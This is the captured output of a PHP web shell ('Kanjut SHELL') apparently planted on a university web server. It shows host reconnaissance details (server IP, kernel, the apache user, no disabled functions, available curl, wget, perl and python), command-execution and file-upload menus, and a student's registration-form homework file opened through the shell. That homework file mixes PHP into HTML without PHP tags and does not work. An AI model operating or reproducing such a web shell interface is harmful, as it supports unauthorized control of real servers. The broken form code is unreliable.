Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.222.163.231
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/rkelly/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/rkelly/www/stuReg.html~
<!-- 

Author: Raquel Kelly
Date: March 6, 2022
Objective: Create a student registration website. The first page, stuReg.html, includes a text box for name, a selection list (or radio buttons) for gender (Male and Female), and a selection list (or radio buttons) for grade (Freshman, Sophomore, Junior, and Senior);

-->
<center>
<FONT color=blue size=3>
<H2>
Student Registration
</H2>
</center>
<HR>

<FORM action=stuReg.php method=post>

	Enter Name: <input type=textbox name=name><P>
	
	$gender = array("Male", "Female");

	Please indicate your gender:

        for($i=0; $i<count($gender); $i++)
        {
	<INPUT TYPE=radio name=prefer[] value=$i> $gender[$i]>
        }

	$grade = array("Freshman", "Sophomore", "Junior", "Senior");

	Please indicate your grade:

	for($i=0; $i<count($grade); $i++)
	{
		print "<INPUT TYPE=checkbox name=prefer[] value=$i> $grade[$i]"; 
		print "<BR>";
	}


<p>
<INPUT type=submit value=Submit>
<INPUT type=reset value=Reset>
</FORM>
</FONT>


Stv3n404 - 2023